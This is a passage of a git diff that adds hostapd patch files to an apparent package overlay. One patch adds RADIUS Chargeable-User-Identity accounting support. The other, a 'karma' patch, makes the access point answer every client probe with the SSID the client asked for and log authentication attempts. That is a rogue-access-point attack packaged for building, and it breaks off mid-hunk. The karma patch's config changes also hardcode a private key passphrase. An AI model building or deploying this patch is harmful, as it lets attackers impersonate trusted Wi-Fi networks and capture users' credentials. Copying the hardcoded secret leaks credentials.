++				  "information element ignored (len=%lu)",
++				  (unsigned long) elen);
+ 		}
+ 		return -1;
+ 	}
+diff -rupN hostapd-0.7.3/src/eapol_auth/eapol_auth_sm_i.h src/eapol_auth/eapol_auth_sm_i.h
+--- hostapd-0.7.3/src/eapol_auth/eapol_auth_sm_i.h	2010-09-07 08:43:39.000000000 -0700
++++ src/eapol_auth/eapol_auth_sm_i.h	2011-09-06 20:43:46.000000000 -0700
+@@ -75,6 +75,7 @@ struct eapol_state_machine {
+ 	/* variables */
+ 	Boolean eapolLogoff;
+ 	Boolean eapolStart;
++	Boolean cuiAvailable; /*to check CUI is available in AcessAccept*/
+ 	PortTypes portMode;
+ 	unsigned int reAuthCount;
+ 	/* constants */
+@@ -159,6 +160,8 @@ struct eapol_state_machine {
+ 	u8 last_eap_id; /* last used EAP Identifier */
+ 	u8 *identity;
+ 	size_t identity_len;
++	u8 *cui; /*Define CUI Attribute*/
++	size_t cui_len; /*Define CUI attribute length*/
+ 	u8 eap_type_authsrv; /* EAP type of the last EAP packet from
+ 			      * Authentication server */
+ 	u8 eap_type_supp; /* EAP type of the last EAP packet from Supplicant */
+diff -rupN hostapd-0.7.3/src/radius/radius.c src/radius/radius.c
+--- hostapd-0.7.3/src/radius/radius.c	2010-09-07 08:43:39.000000000 -0700
++++ src/radius/radius.c	2011-07-25 18:41:30.000000000 -0700
+@@ -24,16 +24,16 @@
+ /**
+  * struct radius_msg - RADIUS message structure for new and parsed messages
+  */
+-struct radius_msg {
++//struct radius_msg {
+ 	/**
+ 	 * buf - Allocated buffer for RADIUS message
+ 	 */
+-	struct wpabuf *buf;
++	//struct wpabuf *buf;
+ 
+ 	/**
+ 	 * hdr - Pointer to the RADIUS header in buf
+ 	 */
+-	struct radius_hdr *hdr;
++	//struct radius_hdr *hdr;
+ 
+ 	/**
+ 	 * attr_pos - Array of indexes to attributes
+@@ -41,18 +41,18 @@ struct radius_msg {
+ 	 * The values are number of bytes from buf to the beginning of
+ 	 * struct radius_attr_hdr.
+ 	 */
+-	size_t *attr_pos;
++	//size_t *attr_pos;
+ 
+ 	/**
+ 	 * attr_size - Total size of the attribute pointer array
+ 	 */
+-	size_t attr_size;
++	//size_t attr_size;
+ 
+ 	/**
+ 	 * attr_used - Total number of attributes in the array
+ 	 */
+-	size_t attr_used;
+-};
++	//size_t attr_used;
++//};
+ 
+ 
+ struct radius_hdr * radius_msg_get_hdr(struct radius_msg *msg)
+@@ -66,7 +66,7 @@ struct wpabuf * radius_msg_get_buf(struc
+ 	return msg->buf;
+ }
+ 
+-
++/*
+ static struct radius_attr_hdr *
+ radius_get_attr_hdr(struct radius_msg *msg, int idx)
+ {
+@@ -74,7 +74,7 @@ radius_get_attr_hdr(struct radius_msg *m
+ 		(wpabuf_mhead_u8(msg->buf) + msg->attr_pos[idx]);
+ }
+ 
+-
++*/
+ static void radius_msg_set_hdr(struct radius_msg *msg, u8 code, u8 identifier)
+ {
+ 	msg->hdr->code = code;
+diff -rupN hostapd-0.7.3/src/radius/radius.h src/radius/radius.h
+--- hostapd-0.7.3/src/radius/radius.h	2010-09-07 08:43:39.000000000 -0700
++++ src/radius/radius.h	2011-07-25 18:44:42.000000000 -0700
+@@ -21,6 +21,45 @@
+ #pragma pack(push, 1)
+ #endif /* _MSC_VER */
+ 
++/************************/
++struct radius_msg {
++	/**
++	 * buf - Allocated buffer for RADIUS message
++	 */
++	struct wpabuf *buf;
++
++	/**
++	 * hdr - Pointer to the RADIUS header in buf
++	 */
++	struct radius_hdr *hdr;
++
++	/**
++	 * attr_pos - Array of indexes to attributes
++	 *
++	 * The values are number of bytes from buf to the beginning of
++	 * struct radius_attr_hdr.
++	 */
++	size_t *attr_pos;
++
++	/**
++	 * attr_size - Total size of the attribute pointer array
++	 */
++	size_t attr_size;
++
++	/**
++	 * attr_used - Total number of attributes in the array
++	 */
++	size_t attr_used;
++};
++
++
++
++
++/***********************/
++
++
++
++
+ struct radius_hdr {
+ 	u8 code;
+ 	u8 identifier;
+@@ -201,6 +240,10 @@ void radius_msg_finish_acct(struct radiu
+ 			    size_t secret_len);
+ struct radius_attr_hdr * radius_msg_add_attr(struct radius_msg *msg, u8 type,
+ 					     const u8 *data, size_t data_len);
++
++/****************************/
++
++/*****************************/
+ struct radius_msg * radius_msg_parse(const u8 *data, size_t len);
+ int radius_msg_add_eap(struct radius_msg *msg, const u8 *data,
+ 		       size_t data_len);
+@@ -238,7 +281,13 @@ static inline int radius_msg_add_attr_in
+ 	u32 val = htonl(value);
+ 	return radius_msg_add_attr(msg, type, (u8 *) &val, 4) != NULL;
+ }
+-
++/**********************/
++static struct radius_attr_hdr * radius_get_attr_hdr(struct radius_msg *msg, int idx)
++{
++	return (struct radius_attr_hdr *)
++		(wpabuf_mhead_u8(msg->buf) + msg->attr_pos[idx]);
++}
++/**************************/
+ static inline int radius_msg_get_attr_int32(struct radius_msg *msg, u8 type,
+ 					    u32 *value)
+ {
diff --git a/net-wireless/hostapd/files/cui-20120717.patch b/net-wireless/hostapd/files/cui-20120717.patch
new file mode 100644
index 00000000..e6e5e8dc
--- /dev/null
+++ b/net-wireless/hostapd/files/cui-20120717.patch
@@ -0,0 +1,451 @@
+diff -urN hostapd-1.0.orig//src/ap/accounting.c hostapd-1.0/src/ap/accounting.c
+--- hostapd-1.0.orig//src/ap/accounting.c	2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/src/ap/accounting.c	2012-07-17 18:40:21.000000000 +0800
+@@ -25,6 +25,7 @@
+ #include "sta_info.h"
+ #include "ap_drv_ops.h"
+ #include "accounting.h"
++/*#include "eapol_auth/eapol_auth_sm_i.h"*/
+ 
+ 
+ /* Default interval in seconds for polling TX/RX octets from the driver if
+@@ -44,7 +45,10 @@
+ 	char buf[128];
+ 	u8 *val;
+ 	size_t len;
++	u8 *cui; /*Define CUI Attribute*/
++	size_t cui_len; /*Define CUI Attribute length*/
+ 	int i;
++	struct eapol_state_machine *sm = sta->eapol_sm; 
+ 
+ 	msg = radius_msg_new(RADIUS_CODE_ACCOUNTING_REQUEST,
+ 			     radius_client_get_id(hapd->radius));
+@@ -83,7 +87,9 @@
+ 
+ 	if (sta) {
+ 		val = ieee802_1x_get_identity(sta->eapol_sm, &len);
++		printf("GOT ID\n");
+ 		if (!val) {
++			
+ 			os_snprintf(buf, sizeof(buf), RADIUS_ADDR_FORMAT,
+ 				    MAC2STR(sta->addr));
+ 			val = (u8 *) buf;
+@@ -95,6 +101,30 @@
+ 			printf("Could not add User-Name\n");
+ 			goto fail;
+ 		}
++
++		
++		/*Check if the CUI attribute is set, if so returns the TRUE or FALSE accordingly**************/
++		if (getSetCui(sta->eapol_sm)){
++		cui=get_CUI (sta->eapol_sm, &cui_len);
++		printf("GOT CUI\n");
++
++		if (!cui) {
++					
++					os_snprintf(buf, sizeof(buf), RADIUS_ADDR_FORMAT,
++						    MAC2STR(sta->addr));
++					cui = (u8 *) buf;
++					cui_len = os_strlen(buf);
++				}
++		if (!radius_msg_add_attr(msg, RADIUS_ATTR_CHARGEABLE_USER_IDENTITY, cui,
++				cui_len)) { /*Add CUI attribute to the Accounting Request Message*/
++					printf("Could not add CUI\n");
++					goto fail;
++				}
++		/********************/
++		}
++		/*else { */
++		/*	printf ("PROBLEM IN IF\n");*/
++		/*}*/
+ 	}
+ 
+ 	if (hapd->conf->own_ip_addr.af == AF_INET &&
+diff -urN hostapd-1.0.orig//src/ap/accounting.h hostapd-1.0/src/ap/accounting.h
+--- hostapd-1.0.orig//src/ap/accounting.h	2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/src/ap/accounting.h	2012-07-17 18:40:21.000000000 +0800
+@@ -22,6 +22,7 @@
+ {
+ }
+ 
++
+ static inline void accounting_sta_stop(struct hostapd_data *hapd,
+ 				       struct sta_info *sta)
+ {
+diff -urN hostapd-1.0.orig//src/ap/ieee802_1x.c hostapd-1.0/src/ap/ieee802_1x.c
+--- hostapd-1.0.orig//src/ap/ieee802_1x.c	2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/src/ap/ieee802_1x.c	2012-07-17 18:40:21.000000000 +0800
+@@ -966,6 +966,7 @@
+ 			 * re-authentication without having to wait for the
+ 			 * Supplicant to send EAPOL-Start.
+ 			 */
++			printf("REAUTHENTICATION-EAPOL");
+ 			sta->eapol_sm->reAuthenticate = TRUE;
+ 		}
+ 		eapol_auth_step(sta->eapol_sm);
+@@ -1205,6 +1206,68 @@
+ 	sm->identity_len = len;
+ }
+ 
++/* This method is used to   Set the CUI attribute Value**************************************/
++static void set_cui(struct hostapd_data *hapd,
++					   struct sta_info *sta,
++					   struct radius_msg *msg)
++
++{
++	u8 *buf,*cui_identity;
++	size_t len;
++	struct eapol_state_machine *sm = sta->eapol_sm;
++
++	if (sm == NULL)
++			return;
++
++	if (radius_msg_get_attr_ptr(msg, RADIUS_ATTR_CHARGEABLE_USER_IDENTITY, &buf, &len,
++					    NULL) < 0)
++			return;
++	cui_identity = os_malloc(len + 1);
++		if (cui_identity == NULL)
++			return;
++	os_memcpy(cui_identity, buf, len);
++	cui_identity[len] = '\0';
++
++	sm->cui = cui_identity;
++	sm->cui_len = len;
++	printf(" SET CUI %s",(char *) cui_identity);
++
++
++}
++
++
++/*  **************************************/
++
++/*check CUI attribute is available in Access Accept */
++static void check_cuiAttr (struct radius_msg *msg,struct sta_info *sta, struct hostapd_data *hapd)
++{
++	
++	struct eapol_state_machine *sm = sta->eapol_sm; /*Define a pointer to eapol_state_machine*/
++	
++
++	size_t i;
++
++	for (i = 0;i<msg->attr_used;i++)
++	{	struct radius_attr_hdr *attr = radius_get_attr_hdr(msg, i);
++		if (attr->type == RADIUS_ATTR_CHARGEABLE_USER_IDENTITY) /*check CUI attribute is availabe in Access-Accept packet*/
++		{
++			printf("CUI Attribute is Available");
++			sm->cuiAvailable = TRUE;
++			set_cui(hapd, sta, msg);
++			break;
++
++		}
++		else {
++			sm->cuiAvailable = FALSE;
++			printf ("CUI is not available in this packet");
++
++		}
++
++
++	}
++
++}
++
+ 
+ struct sta_id_search {
+ 	u8 identifier;
+@@ -1365,6 +1428,8 @@
+ 				    shared_secret_len);
+ 		ieee802_1x_store_radius_class(hapd, sta, msg);
+ 		ieee802_1x_update_sta_identity(hapd, sta, msg);
++		/*set_cui(hapd, sta, msg);*/
++		check_cuiAttr (msg,sta,hapd);
+ 		if (sm->eap_if->eapKeyAvailable &&
+ 		    wpa_auth_pmksa_add(sta->wpa_sm, sm->eapol_key_crypt,
+ 				       session_timeout_set ?
+@@ -1859,6 +1924,27 @@
+ }
+ 
+ 
++
++u8 * get_CUI(struct eapol_state_machine *sm, size_t *len) /* return CUI Attribute Value  ******************************/
++{
++	if (sm == NULL || sm->identity == NULL)
++		return NULL;
++
++	*len = sm->cui_len;
++	return sm->cui;
++}
++
++Boolean getSetCui (struct eapol_state_machine *sm) /*Check if the CUI value is set or not, and returns TRUE or FALSE accordingly*/
++
++{ if (sm->cuiAvailable)
++	return TRUE;
++else
++	return FALSE;
++	}
++
++/*****************************/
++
++
+ u8 * ieee802_1x_get_radius_class(struct eapol_state_machine *sm, size_t *len,
+ 				 int idx)
+ {
+diff -urN hostapd-1.0.orig//src/ap/ieee802_1x.h hostapd-1.0/src/ap/ieee802_1x.h
+--- hostapd-1.0.orig//src/ap/ieee802_1x.h	2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/src/ap/ieee802_1x.h	2012-07-17 18:40:21.000000000 +0800
+@@ -69,6 +69,13 @@
+ int ieee802_1x_tx_status(struct hostapd_data *hapd, struct sta_info *sta,
+ 			 const u8 *buf, size_t len, int ack);
+ u8 * ieee802_1x_get_identity(struct eapol_state_machine *sm, size_t *len);
++
++/** definig CUI get function */
++u8 * get_CUI(struct eapol_state_machine *sm, size_t *len);
++Boolean getSetCui (struct eapol_state_machine *sm);
++
++/*********************/
++
+ u8 * ieee802_1x_get_radius_class(struct eapol_state_machine *sm, size_t *len,
+ 				 int idx);
+ const u8 * ieee802_1x_get_key(struct eapol_state_machine *sm, size_t *len);
+diff -urN hostapd-1.0.orig//src/ap/pmksa_cache_auth.c hostapd-1.0/src/ap/pmksa_cache_auth.c
+--- hostapd-1.0.orig//src/ap/pmksa_cache_auth.c	2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/src/ap/pmksa_cache_auth.c	2012-07-17 18:40:21.000000000 +0800
+@@ -142,6 +142,20 @@
+ 		}
+ 	}
+ 
++/*set to cui in to cache*/
++
++	if (eapol ->cui) {
++		
++		entry ->cui = os_malloc(eapol->cui_len); /*Allocate memory for CUI attribute*/
++		if (entry->cui) {
++			entry->cui_len = eapol->cui_len;
++			os_memcpy(entry->cui, eapol->cui,
++				  eapol->cui_len);
++		}
++	}
++
++/*set to cui in to cache*/
++
+ #ifndef CONFIG_NO_RADIUS
+ 	radius_copy_class(&entry->radius_class, &eapol->radius_class);
+ #endif /* CONFIG_NO_RADIUS */
+@@ -169,6 +183,25 @@
+ 				  eapol->identity, eapol->identity_len);
+ 	}
+ 
++/*Added to get CUI from the cache*/
++
++
++	if (entry->cui) {
++			os_free(eapol->cui);
++			
++			eapol->cui = os_malloc(entry->cui_len);
++			eapol->cuiAvailable=TRUE;
++			if (eapol->cui) {
++				eapol->cui_len = entry->cui_len;
++				os_memcpy(eapol->cui, entry->cui, 
++					  entry->cui_len); /*copy the CUI attribute value to EAPOL data structure*/
++			}
++			wpa_hexdump_ascii(MSG_DEBUG, "CUIfrom PMKSA",
++					  eapol->cui, eapol->cui_len);
++		}
++
++	/*Added to get CUI from the cache*/
++
+ #ifndef CONFIG_NO_RADIUS
+ 	radius_free_class(&eapol->radius_class);
+ 	radius_copy_class(&eapol->radius_class, &entry->radius_class);
+@@ -180,6 +213,7 @@
+ 
+ 	eapol->eap_type_authsrv = entry->eap_type_authsrv;
+ 	((struct sta_info *) eapol->sta)->vlan_id = entry->vlan_id;
++	printf ("GETTING CACHE ENTRY\n");
+ }
+ 
+ 
+diff -urN hostapd-1.0.orig//src/ap/pmksa_cache_auth.h hostapd-1.0/src/ap/pmksa_cache_auth.h
+--- hostapd-1.0.orig//src/ap/pmksa_cache_auth.h	2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/src/ap/pmksa_cache_auth.h	2012-07-17 18:40:21.000000000 +0800
+@@ -31,6 +31,8 @@
+ 
+ 	u8 *identity;
+ 	size_t identity_len;
++	u8 *cui; /* cui by me*/
++	size_t cui_len; /*Size of the cached cui by me*/
+ 	struct radius_class_data radius_class;
+ 	u8 eap_type_authsrv;
+ 	int vlan_id;
+diff -urN hostapd-1.0.orig//src/common/ieee802_11_common.c hostapd-1.0/src/common/ieee802_11_common.c
+--- hostapd-1.0.orig//src/common/ieee802_11_common.c	2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/src/common/ieee802_11_common.c	2012-07-17 18:40:21.000000000 +0800
+@@ -31,8 +31,8 @@
+ 	if (elen < 4) {
+ 		if (show_errors) {
+ 			wpa_printf(MSG_MSGDUMP, "short vendor specific "
+-				   "information element ignored (len=%lu)",
+-				   (unsigned long) elen);
++				  "information element ignored (len=%lu)",
++				  (unsigned long) elen);
+ 		}
+ 		return -1;
+ 	}
+diff -urN hostapd-1.0.orig//src/eapol_auth/eapol_auth_sm_i.h hostapd-1.0/src/eapol_auth/eapol_auth_sm_i.h
+--- hostapd-1.0.orig//src/eapol_auth/eapol_auth_sm_i.h	2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/src/eapol_auth/eapol_auth_sm_i.h	2012-07-17 18:40:21.000000000 +0800
+@@ -75,6 +75,7 @@
+ 	/* variables */
+ 	Boolean eapolLogoff;
+ 	Boolean eapolStart;
++	Boolean cuiAvailable; /*to check CUI is available in AcessAccept*/
+ 	PortTypes portMode;
+ 	unsigned int reAuthCount;
+ 	/* constants */
+@@ -159,6 +160,8 @@
+ 	u8 last_eap_id; /* last used EAP Identifier */
+ 	u8 *identity;
+ 	size_t identity_len;
++	u8 *cui; /*Define CUI Attribute*/
++	size_t cui_len; /*Define CUI attribute length*/
+ 	u8 eap_type_authsrv; /* EAP type of the last EAP packet from
+ 			      * Authentication server */
+ 	u8 eap_type_supp; /* EAP type of the last EAP packet from Supplicant */
+diff -urN hostapd-1.0.orig//src/radius/radius.c hostapd-1.0/src/radius/radius.c
+--- hostapd-1.0.orig//src/radius/radius.c	2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/src/radius/radius.c	2012-07-17 18:40:21.000000000 +0800
+@@ -24,16 +24,16 @@
+ /**
+  * struct radius_msg - RADIUS message structure for new and parsed messages
+  */
+-struct radius_msg {
++//struct radius_msg {
+ 	/**
+ 	 * buf - Allocated buffer for RADIUS message
+ 	 */
+-	struct wpabuf *buf;
++	//struct wpabuf *buf;
+ 
+ 	/**
+ 	 * hdr - Pointer to the RADIUS header in buf
+ 	 */
+-	struct radius_hdr *hdr;
++	//struct radius_hdr *hdr;
+ 
+ 	/**
+ 	 * attr_pos - Array of indexes to attributes
+@@ -41,18 +41,18 @@
+ 	 * The values are number of bytes from buf to the beginning of
+ 	 * struct radius_attr_hdr.
+ 	 */
+-	size_t *attr_pos;
++	//size_t *attr_pos;
+ 
+ 	/**
+ 	 * attr_size - Total size of the attribute pointer array
+ 	 */
+-	size_t attr_size;
++	//size_t attr_size;
+ 
+ 	/**
+ 	 * attr_used - Total number of attributes in the array
+ 	 */
+-	size_t attr_used;
+-};
++	//size_t attr_used;
++//};
+ 
+ 
+ struct radius_hdr * radius_msg_get_hdr(struct radius_msg *msg)
+@@ -66,7 +66,7 @@
+ 	return msg->buf;
+ }
+ 
+-
++/*
+ static struct radius_attr_hdr *
+ radius_get_attr_hdr(struct radius_msg *msg, int idx)
+ {
+@@ -74,7 +74,7 @@
+ 		(wpabuf_mhead_u8(msg->buf) + msg->attr_pos[idx]);
+ }
+ 
+-
++*/
+ static void radius_msg_set_hdr(struct radius_msg *msg, u8 code, u8 identifier)
+ {
+ 	msg->hdr->code = code;
+diff -urN hostapd-1.0.orig//src/radius/radius.h hostapd-1.0/src/radius/radius.h
+--- hostapd-1.0.orig//src/radius/radius.h	2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/src/radius/radius.h	2012-07-17 18:40:21.000000000 +0800
+@@ -21,6 +21,45 @@
+ #pragma pack(push, 1)
+ #endif /* _MSC_VER */
+ 
++/************************/
++struct radius_msg {
++	/**
++	 * buf - Allocated buffer for RADIUS message
++	 */
++	struct wpabuf *buf;
++
++	/**
++	 * hdr - Pointer to the RADIUS header in buf
++	 */
++	struct radius_hdr *hdr;
++
++	/**
++	 * attr_pos - Array of indexes to attributes
++	 *
++	 * The values are number of bytes from buf to the beginning of
++	 * struct radius_attr_hdr.
++	 */
++	size_t *attr_pos;
++
++	/**
++	 * attr_size - Total size of the attribute pointer array
++	 */
++	size_t attr_size;
++
++	/**
++	 * attr_used - Total number of attributes in the array
++	 */
++	size_t attr_used;
++};
++
++
++
++
++/***********************/
++
++
++
++
+ struct radius_hdr {
+ 	u8 code;
+ 	u8 identifier;
+@@ -201,6 +240,10 @@
+ 			    size_t secret_len);
+ struct radius_attr_hdr * radius_msg_add_attr(struct radius_msg *msg, u8 type,
+ 					     const u8 *data, size_t data_len);
++
++/****************************/
++
++/*****************************/
+ struct radius_msg * radius_msg_parse(const u8 *data, size_t len);
+ int radius_msg_add_eap(struct radius_msg *msg, const u8 *data,
+ 		       size_t data_len);
+@@ -238,7 +281,13 @@
+ 	u32 val = htonl(value);
+ 	return radius_msg_add_attr(msg, type, (u8 *) &val, 4) != NULL;
+ }
+-
++/**********************/
++static struct radius_attr_hdr * radius_get_attr_hdr(struct radius_msg *msg, int idx)
++{
++	return (struct radius_attr_hdr *)
++		(wpabuf_mhead_u8(msg->buf) + msg->attr_pos[idx]);
++}
++/**************************/
+ static inline int radius_msg_get_attr_int32(struct radius_msg *msg, u8 type,
+ 					    u32 *value)
+ {
diff --git a/net-wireless/hostapd/files/hostapd-0.7.3-karma.patch b/net-wireless/hostapd/files/hostapd-0.7.3-karma.patch
new file mode 100644
index 00000000..e1cc89e3
--- /dev/null
+++ b/net-wireless/hostapd/files/hostapd-0.7.3-karma.patch
@@ -0,0 +1,481 @@
+diff -urN hostapd-0.7.3.orig/hostapd/Makefile hostapd-0.7.3/hostapd/Makefile
+--- hostapd-0.7.3.orig/hostapd/Makefile	2010-09-07 23:43:39.000000000 +0800
++++ hostapd-0.7.3/hostapd/Makefile	2011-05-02 15:59:46.787000009 +0800
+@@ -3,7 +3,7 @@
+ endif
+ 
+ ifndef CFLAGS
+-CFLAGS = -MMD -O2 -Wall -g
++CFLAGS = -MMD -O2 -Wall -DDEBUG -g -pg
+ endif
+ 
+ CFLAGS += -I../src
+@@ -84,6 +84,7 @@
+ 
+ OBJS += ../src/eapol_auth/eapol_auth_sm.o
+ 
++OBJS += ../src/karma/karma.o
+ 
+ ifndef CONFIG_NO_DUMP_STATE
+ # define HOSTAPD_DUMP_STATE to include SIGUSR1 handler for dumping state to
+diff -urN hostapd-0.7.3.orig/hostapd/hostapd.conf hostapd-0.7.3/hostapd/hostapd.conf
+--- hostapd-0.7.3.orig/hostapd/hostapd.conf	2010-09-07 23:43:39.000000000 +0800
++++ hostapd-0.7.3/hostapd/hostapd.conf	2011-05-02 15:59:46.788000008 +0800
+@@ -3,7 +3,7 @@
+ 
+ # AP netdevice name (without 'ap' postfix, i.e., wlan0 uses wlan0ap for
+ # management frames); ath0 for madwifi
+-interface=wlan0
++interface=wlan1
+ 
+ # In case of madwifi, atheros, and nl80211 driver interfaces, an additional
+ # configuration parameter, bridge, may be used to notify hostapd if the
+@@ -23,6 +23,7 @@
+ # Use driver=none if building hostapd as a standalone RADIUS server that does
+ # not control any wireless/wired driver.
+ # driver=hostap
++driver=nl80211
+ 
+ # hostapd event logger configuration
+ #
+@@ -88,7 +89,7 @@
+ # Country code (ISO/IEC 3166-1). Used to set regulatory domain.
+ # Set as needed to indicate country in which device is operating.
+ # This can limit available channels and transmit power.
+-#country_code=US
++country_code=US
+ 
+ # Enable IEEE 802.11d. This advertises the country_code and the set of allowed
+ # channels and transmit power levels based on the regulatory limits. The
+@@ -99,14 +100,14 @@
+ 
+ # Operation mode (a = IEEE 802.11a, b = IEEE 802.11b, g = IEEE 802.11g,
+ # Default: IEEE 802.11b
+-hw_mode=a
++hw_mode=b
+ 
+ # Channel number (IEEE 802.11)
+ # (default: 0, i.e., not set)
+ # Please note that some drivers (e.g., madwifi) do not use this value from
+ # hostapd and the channel will need to be configuration separately with
+ # iwconfig.
+-channel=60
++channel=1
+ 
+ # Beacon interval in kus (1.024 ms) (default: 100; range 15..65535)
+ beacon_int=100
+@@ -410,7 +411,7 @@
+ ##### IEEE 802.1X-2004 related configuration ##################################
+ 
+ # Require IEEE 802.1X authorization
+-#ieee8021x=1
++ieee8021x=1
+ 
+ # IEEE 802.1X/EAPOL version
+ # hostapd is implemented based on IEEE Std 802.1X-2004 which defines EAPOL
+@@ -418,7 +419,7 @@
+ # the new version number correctly (they seem to drop the frames completely).
+ # In order to make hostapd interoperate with these clients, the version number
+ # can be set to the older version (1) with this configuration value.
+-#eapol_version=2
++eapol_version=1
+ 
+ # Optional displayable message sent with EAP Request-Identity. The first \0
+ # in this string will be converted to ASCII-0 (nul). This can be used to
+@@ -460,16 +461,18 @@
+ # Use integrated EAP server instead of external RADIUS authentication
+ # server. This is also needed if hostapd is configured to act as a RADIUS
+ # authentication server.
+-eap_server=0
++eap_server=1
+ 
+ # Path for EAP server user database
+ #eap_user_file=/etc/hostapd.eap_user
+ 
+ # CA certificate (PEM or DER file) for EAP-TLS/PEAP/TTLS
+ #ca_cert=/etc/hostapd.ca.pem
++ca_cert=/etc/hostapd/sf_bundle.pem
+ 
+ # Server certificate (PEM or DER file) for EAP-TLS/PEAP/TTLS
+ #server_cert=/etc/hostapd.server.pem
++server_cert=/etc/hostapd/INTRANET.pem
+ 
+ # Private key matching with the server certificate for EAP-TLS/PEAP/TTLS
+ # This may point to the same file as server_cert if both certificate and key
+@@ -477,9 +480,11 @@
+ # used by commenting out server_cert and specifying the PFX file as the
+ # private_key.
+ #private_key=/etc/hostapd.server.prv
++private_key=/etc/hostapd/INTRANET.pem
+ 
+ # Passphrase for private key
+ #private_key_passwd=secret passphrase
++private_key_passwd=Cricket8
+ 
+ # Enable CRL verification.
+ # Note: hostapd does not yet support CRL downloading based on CDP. Thus, a
+@@ -674,6 +679,7 @@
+ # bit0 = WPA
+ # bit1 = IEEE 802.11i/RSN (WPA2) (dot11RSNAEnabled)
+ #wpa=1
++wpa=3
+ 
+ # WPA pre-shared keys for WPA-PSK. This can be either entered as a 256-bit
+ # secret in hex format (64 hex digits), wpa_psk, or as an ASCII passphrase
+@@ -695,6 +701,7 @@
+ # added to enable SHA256-based stronger algorithms.
+ # (dot11RSNAConfigAuthenticationSuitesTable)
+ #wpa_key_mgmt=WPA-PSK WPA-EAP
++wpa_key_mgmt=WPA-EAP
+ 
+ # Set of accepted cipher suites (encryption algorithms) for pairwise keys
+ # (unicast packets). This is a space separated list of algorithms:
+diff -urN hostapd-0.7.3.orig/hostapd/main.c hostapd-0.7.3/hostapd/main.c
+--- hostapd-0.7.3.orig/hostapd/main.c	2010-09-07 23:43:39.000000000 +0800
++++ hostapd-0.7.3/hostapd/main.c	2011-05-02 16:01:06.320000003 +0800
+@@ -36,6 +36,10 @@
+ extern int wpa_debug_show_keys;
+ extern int wpa_debug_timestamp;
+ 
++/* Karma Mode */
++#include "karma/karma.h"
++int karma_beacon_respond = 0;
++int karma_eap_auth = 0;
+ 
+ struct hapd_interfaces {
+ 	size_t count;
+@@ -458,7 +462,7 @@
+ 	show_version();
+ 	fprintf(stderr,
+ 		"\n"
+-		"usage: hostapd [-hdBKtv] [-P <PID file>] "
++		"usage: hostapd [-hdBKtvRA] [-P <PID file>] "
+ 		"<configuration file(s)>\n"
+ 		"\n"
+ 		"options:\n"
+@@ -468,7 +472,9 @@
+ 		"   -P   PID file\n"
+ 		"   -K   include key data in debug messages\n"
+ 		"   -t   include timestamps in some debug messages\n"
+-		"   -v   show hostapd version\n");
++		"   -v   show hostapd version\n"
++        "   -R   [karma] respond to all probes using requested SSID\n" 
++        "   -A   [karma] enable authentication attempt logging\n"); 
+ 
+ 	exit(1);
+ }
+@@ -486,7 +492,7 @@
+ 		return -1;
+ 
+ 	for (;;) {
+-		c = getopt(argc, argv, "BdhKP:tv");
++		c = getopt(argc, argv, "BdhKP:tvRA");
+ 		if (c < 0)
+ 			break;
+ 		switch (c) {
+@@ -511,6 +517,12 @@
+ 		case 't':
+ 			wpa_debug_timestamp++;
+ 			break;
++        case 'R':                                                                                                                                                                                                                 
++            karma_beacon_respond++;                                                                                                                                                                                               
++            break;                                                                                                                                                                                                                
++        case 'A':                                                                                                                                                                                                                 
++            karma_eap_auth++;                                                                                                                                                                                                     
++            break;
+ 		case 'v':
+ 			show_version();
+ 			exit(1);
+diff -urN hostapd-0.7.3.orig/src/ap/beacon.c hostapd-0.7.3/src/ap/beacon.c
+--- hostapd-0.7.3.orig/src/ap/beacon.c	2010-09-07 23:43:39.000000000 +0800
++++ hostapd-0.7.3/src/ap/beacon.c	2011-05-02 15:59:46.789000006 +0800
+@@ -14,6 +14,11 @@
+  * See README and COPYING for more details.
+  */
+ 
++#define _GNU_SOURCE
++#include <stdio.h>
++
++#include "karma/karma.h"
++
+ #include "utils/includes.h"
+ 
+ #ifndef CONFIG_NATIVE_WINDOWS
+@@ -250,7 +255,24 @@
+ 		if (sta)
+ 			sta->ssid_probe = &hapd->conf->ssid;
+ 	}
+-
++  /* Karma Promiscuous Beacon Response Hack - JoMo-Kun <jmk@foofus.net> */
++  else if (karma_beacon_respond) {
++          char ssid_txt[33];
++    char *message = NULL;
++
++                ieee802_11_print_ssid(ssid_txt, elems.ssid, elems.ssid_len);
++
++    if (asprintf(&message, "Probe request from " MACSTR " for SSID '%s'", MAC2STR(mgmt->sa), ssid_txt) < 0)
++      wpa_printf(MSG_ERROR, "Error allocating memory for Karma message\n");
++
++    karma_logger(0, message);
++    free(message);
++
++    ssid = (char *)elems.ssid;
++    ssid_len = elems.ssid_len;
++                //if (sta)
++                //      sta->ssid_probe = &elems.ssid;
++  }
+ 	if (!ssid) {
+ 		if (!(mgmt->da[0] & 0x01)) {
+ 			char ssid_txt[33];
+diff -urN hostapd-0.7.3.orig/src/ap/hostapd.c hostapd-0.7.3/src/ap/hostapd.c
+--- hostapd-0.7.3.orig/src/ap/hostapd.c	2010-09-07 23:43:39.000000000 +0800
++++ hostapd-0.7.3/src/ap/hostapd.c	2011-05-02 15:59:46.789000006 +0800
+@@ -12,6 +12,8 @@
+  * See README and COPYING for more details.
+  */
+ 
++#include "karma/karma.h"
++
+ #include "utils/includes.h"
+ 
+ #include "utils/common.h"
+diff -urN hostapd-0.7.3.orig/src/ap/ieee802_11.c hostapd-0.7.3/src/ap/ieee802_11.c
+--- hostapd-0.7.3.orig/src/ap/ieee802_11.c	2010-09-07 23:43:39.000000000 +0800
++++ hostapd-0.7.3/src/ap/ieee802_11.c	2011-05-02 15:59:46.790000004 +0800
+@@ -12,6 +12,8 @@
+  * See README and COPYING for more details.
+  */
+ 
++#include "karma/karma.h"
++
+ #include "utils/includes.h"
+ 
+ #ifndef CONFIG_NATIVE_WINDOWS
+@@ -533,8 +535,9 @@
+ 	if (ssid_ie == NULL)
+ 		return WLAN_STATUS_UNSPECIFIED_FAILURE;
+ 
+-	if (ssid_ie_len != hapd->conf->ssid.ssid_len ||
+-	    os_memcmp(ssid_ie, hapd->conf->ssid.ssid, ssid_ie_len) != 0) {
